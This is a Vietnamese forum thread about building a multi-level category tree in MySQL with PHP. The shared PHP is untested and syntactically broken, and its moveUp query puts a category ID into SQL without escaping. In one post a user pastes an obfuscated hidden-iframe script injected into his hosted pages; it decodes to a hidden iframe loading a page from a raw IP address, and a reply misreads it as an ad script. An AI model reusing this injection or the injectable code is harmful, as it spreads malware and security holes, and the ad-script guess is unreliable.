[Question] tạo cây đa cấp? trong mysql |
05/12/2007 03:44:13 (+0700) | #1 | 101923 |
tyhaonline
Member
|
0 |
|
|
Joined: 05/11/2005 12:13:11
Messages: 13
Offline
|
|
bác nào biết cách tạo cây đa cấp trong mysql sao đó truy vấn bằng php không vậy
ví dụ dể hiểu hơn tý nhé:
www.24h.com.vn
ví dụ cụ thể hơn nhé
thể thao
-- Bóng đá châu âu
-- Bóng đã châu á
trong bóng đá châu á lại có:
------ Bóng đá việt nam
------ Bóng đá Thái Lan
trong bóng việt nam lại có
======= Bóng đá chuyên nghiệp
======= Bóng đá hạng nhất
======= Bóng đá hạng hai
Thời trang
-- Thời trang trẻ
-- thời trang người lớn
trong thời trang trẻ lại có
------- Thời trang học sinh
------- Thời trang sinh viên
v.v.v
chắt mâys bác hiểu:d
bác nào có làm qua cách này thì xin hướng dẫn(:d)
thanks trước nha
|
|
|
|
|
[Question] Re: tạo cây đa cấp? trong mysql |
05/12/2007 23:37:35 (+0700) | #2 | 102079 |
tyhaonline
Member
|
0 |
|
|
Joined: 05/11/2005 12:13:11
Messages: 13
Offline
|
|
hic, mọi người chưa ai gặp trường hợp này sao |
|
|
|
|
[Question] Re: tạo cây đa cấp? trong mysql |
07/12/2007 08:48:11 (+0700) | #3 | 102413 |
|
Luke
Elite Member
|
0 |
|
|
Joined: 05/09/2002 13:21:20
Messages: 83
Offline
|
|
SQL Schema thì là
Table: Categories
id
(auto increment)
name
parent
position
parent mặc định = 0 khi ở level 1
order mặc định bằng cat_id
Code:
class Category
{
// Code chua run, code bang notepad de tam tham khao
var $Info;
function Parse()
{
$QueryStr = "SELECT * FROM " . CATEGORY_TABLE . " WHERE 1 ORDER BY position DESC";
$Result = @mysql_query ($QueryStr)
// or return ErrorHandler("MySQL", mysql_error());
//if (!$Result) return ErrorHandler($Context,$ErrMsg);
while ($Row = @mysql_fetch_assoc($Result))
$Cat[] = $Row;
$this->sortCat($Cat, 0, 1);
return 1;
}
function sortCat($CatArr, $Node, $Level)
{
for ($i=0, $i< Count($CatArr); $i++)
if ($CatArr[$i][parent] == $Node)
{
$CatArr[level] = $Level;
$this->Info[] = $CatArr[$i];
this->sortCat($CatArr, $CatArr[$i][id], $Level+1);
}
return 1;
}
// Ham nay anh tach ra tu bo core cua thang coder ben anh
// Chi de tham khao vi no lien quan den pattern cua he thong nua
function moveUp($CatID)
{
$QueryStr = "SELECT c1.id, c1.position,c1.parent,c2.id,c2.position,c2.parent
FROM " .TBL_CATEGORIES."c1,".TBL_CATEGORIES." c2
WHERE c1.position < c2.position
AND c2.id = $CatID
AND c1.parent = c2.parent
ORDER BY c1.position DESC";
if ($result = MySQL::Query($QueryStr))
{
if (@mysql_num_rows($result)!=0)
{
$row = @mysql_fetch_row($result);
$cat1 = array("position" =>$row[4]);
$cat2 = array("position" =>$row[1]);
return (Category::Update($cat1,"id=$row[0]"))
&&(Category::Update($cat2,"id=$row[3]"));
}
}
}
}
|
|
|
|
|
[Question] Re: tạo cây đa cấp? trong mysql |
11/12/2007 01:12:29 (+0700) | #4 | 103197 |
tyhaonline
Member
|
0 |
|
|
Joined: 05/11/2005 12:13:11
Messages: 13
Offline
|
|
hì để mình test xem sao
trong có vẻ chuyên nghiệp đó:
thanks for reply |
|
|
|
|
[Question] Re: tạo cây đa cấp? trong mysql |
12/12/2007 09:01:57 (+0700) | #5 | 103445 |
tyhaonline
Member
|
0 |
|
|
Joined: 05/11/2005 12:13:11
Messages: 13
Offline
|
|
thanks bác Luke vì đã post bài trả lời
mình chưa test code của bác nhưng mà mình đã làm ok rồi, cách của mình làm không cần tạo cái field "position "
mà chỉ cần hàm gọi hàm theo kiểu đệ quy là Ok hết
vì bác viết theo hướng đối tượng nên mình đọc không ra mặt dù nhìn nó đơn giản (vì mình chưa đụng đến hướng đối tượng bao giờ)
-- đi xa hơn tý mấy bác giúp giùm cái này nhé: chẳng biết host mình đang thuê bị vi rút hay cái gì mà mọi trang index của mình đều bị một dòng code lạ chèn vào theo mình thấy thì nó là iframe của Html
sau đây là code của nó chèn vào các trang index của mình
<iframe src='http://url' width='1' height='1' style='visibility: hidden;'></iframe><script>function v475dda8e0c855(v475dda8e0d039){ function v475dda8e0d831 () {return 16;} return(parseInt(v475dda8e0d039,v475dda8e0d831()));}function v475dda8e0e81a(v475dda8e0f012){ function v475dda8e107fb () {var v475dda8e1100b=2; return v475dda8e1100b;} var v475dda8e0f80a='';for(v475dda8e10003=0; v475dda8e10003<v475dda8e0f012.length; v475dda8e10003+=v475dda8e107fb()){ v475dda8e0f80a+=(String.fromCharCode(v475dda8e0c855(v475dda8e0f012.substr(v475dda8e10003, v475dda8e107fb()))));}return v475dda8e0f80a;} document.write(v475dda8e0e81a('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D3131207372633D5C27687474703A2F2F37372E3232312E3133332E3138382F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A3439363137292B27343163326539343231305C272077696474683D313439206865696768743D333333207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));</script>
ai có cách giải quyết nào không thì giúp mình với
thanks for reply |
|
|
|
|
[Question] Re: tạo cây đa cấp? trong mysql |
13/12/2007 10:28:55 (+0700) | #6 | 103609 |
daotranbang
Member
|
0 |
|
|
Joined: 14/08/2005 12:05:24
Messages: 25
Offline
|
|
Chậc, đầu tiên là có field position của đại ca Luke là cần thiết để sắp xếp các thành phần của pa. nếu không thì nó sắp kiểu nào?
Tiếp nữa nếu cái host của anh bạn là host free thì cái kia chắc là script quảng cáo rùi!
Còn cái nữa là theo tui thì nên xài 1 query sql thui, lấy hết cái table CATEGORY_TABLE rùi xài PHP hiển thị thì tốt hơn, tiết kiệm query sql. |
|
|
|
|
[Question] Re: tạo cây đa cấp? trong mysql |
18/12/2007 00:12:41 (+0700) | #7 | 104437 |
tyhaonline
Member
|
0 |
|
|
Joined: 05/11/2005 12:13:11
Messages: 13
Offline
|
|
|
|
[Question] Re: tạo cây đa cấp? trong mysql |
18/12/2007 15:46:40 (+0700) | #8 | 104558 |
daotranbang
Member
|
0 |
|
|
Joined: 14/08/2005 12:05:24
Messages: 25
Offline
|
|
Éc, nếu cứ xài query không thèm tính toán thì cách của đại ca Luke cũng hok bỏ sót miếng nào trong cái menu của bạn đâu! Nếu như viết kiểu cố định, không link hoạt thì đừng nói 10 dòng, đệ qui đằng nào mà ko ra! Nhưng mà hok lầm thì query càng nhiều, dos càng mau chết. Nghe đồn vậy!
Còn vụ cái `position`, nếu pa hok muốn linh hoạt trong sắp xếp các menu thì hok nói làm gì, để nó tự xếp theo id cũng dc dza!
|
|
|
Users currently in here |
1 Anonymous
|
|
Powered by JForum - Extended by HVAOnline
hvaonline.net | hvaforum.net | hvazone.net | hvanews.net | vnhacker.org
1999 - 2013 ©
v2012|0504|218|
|
|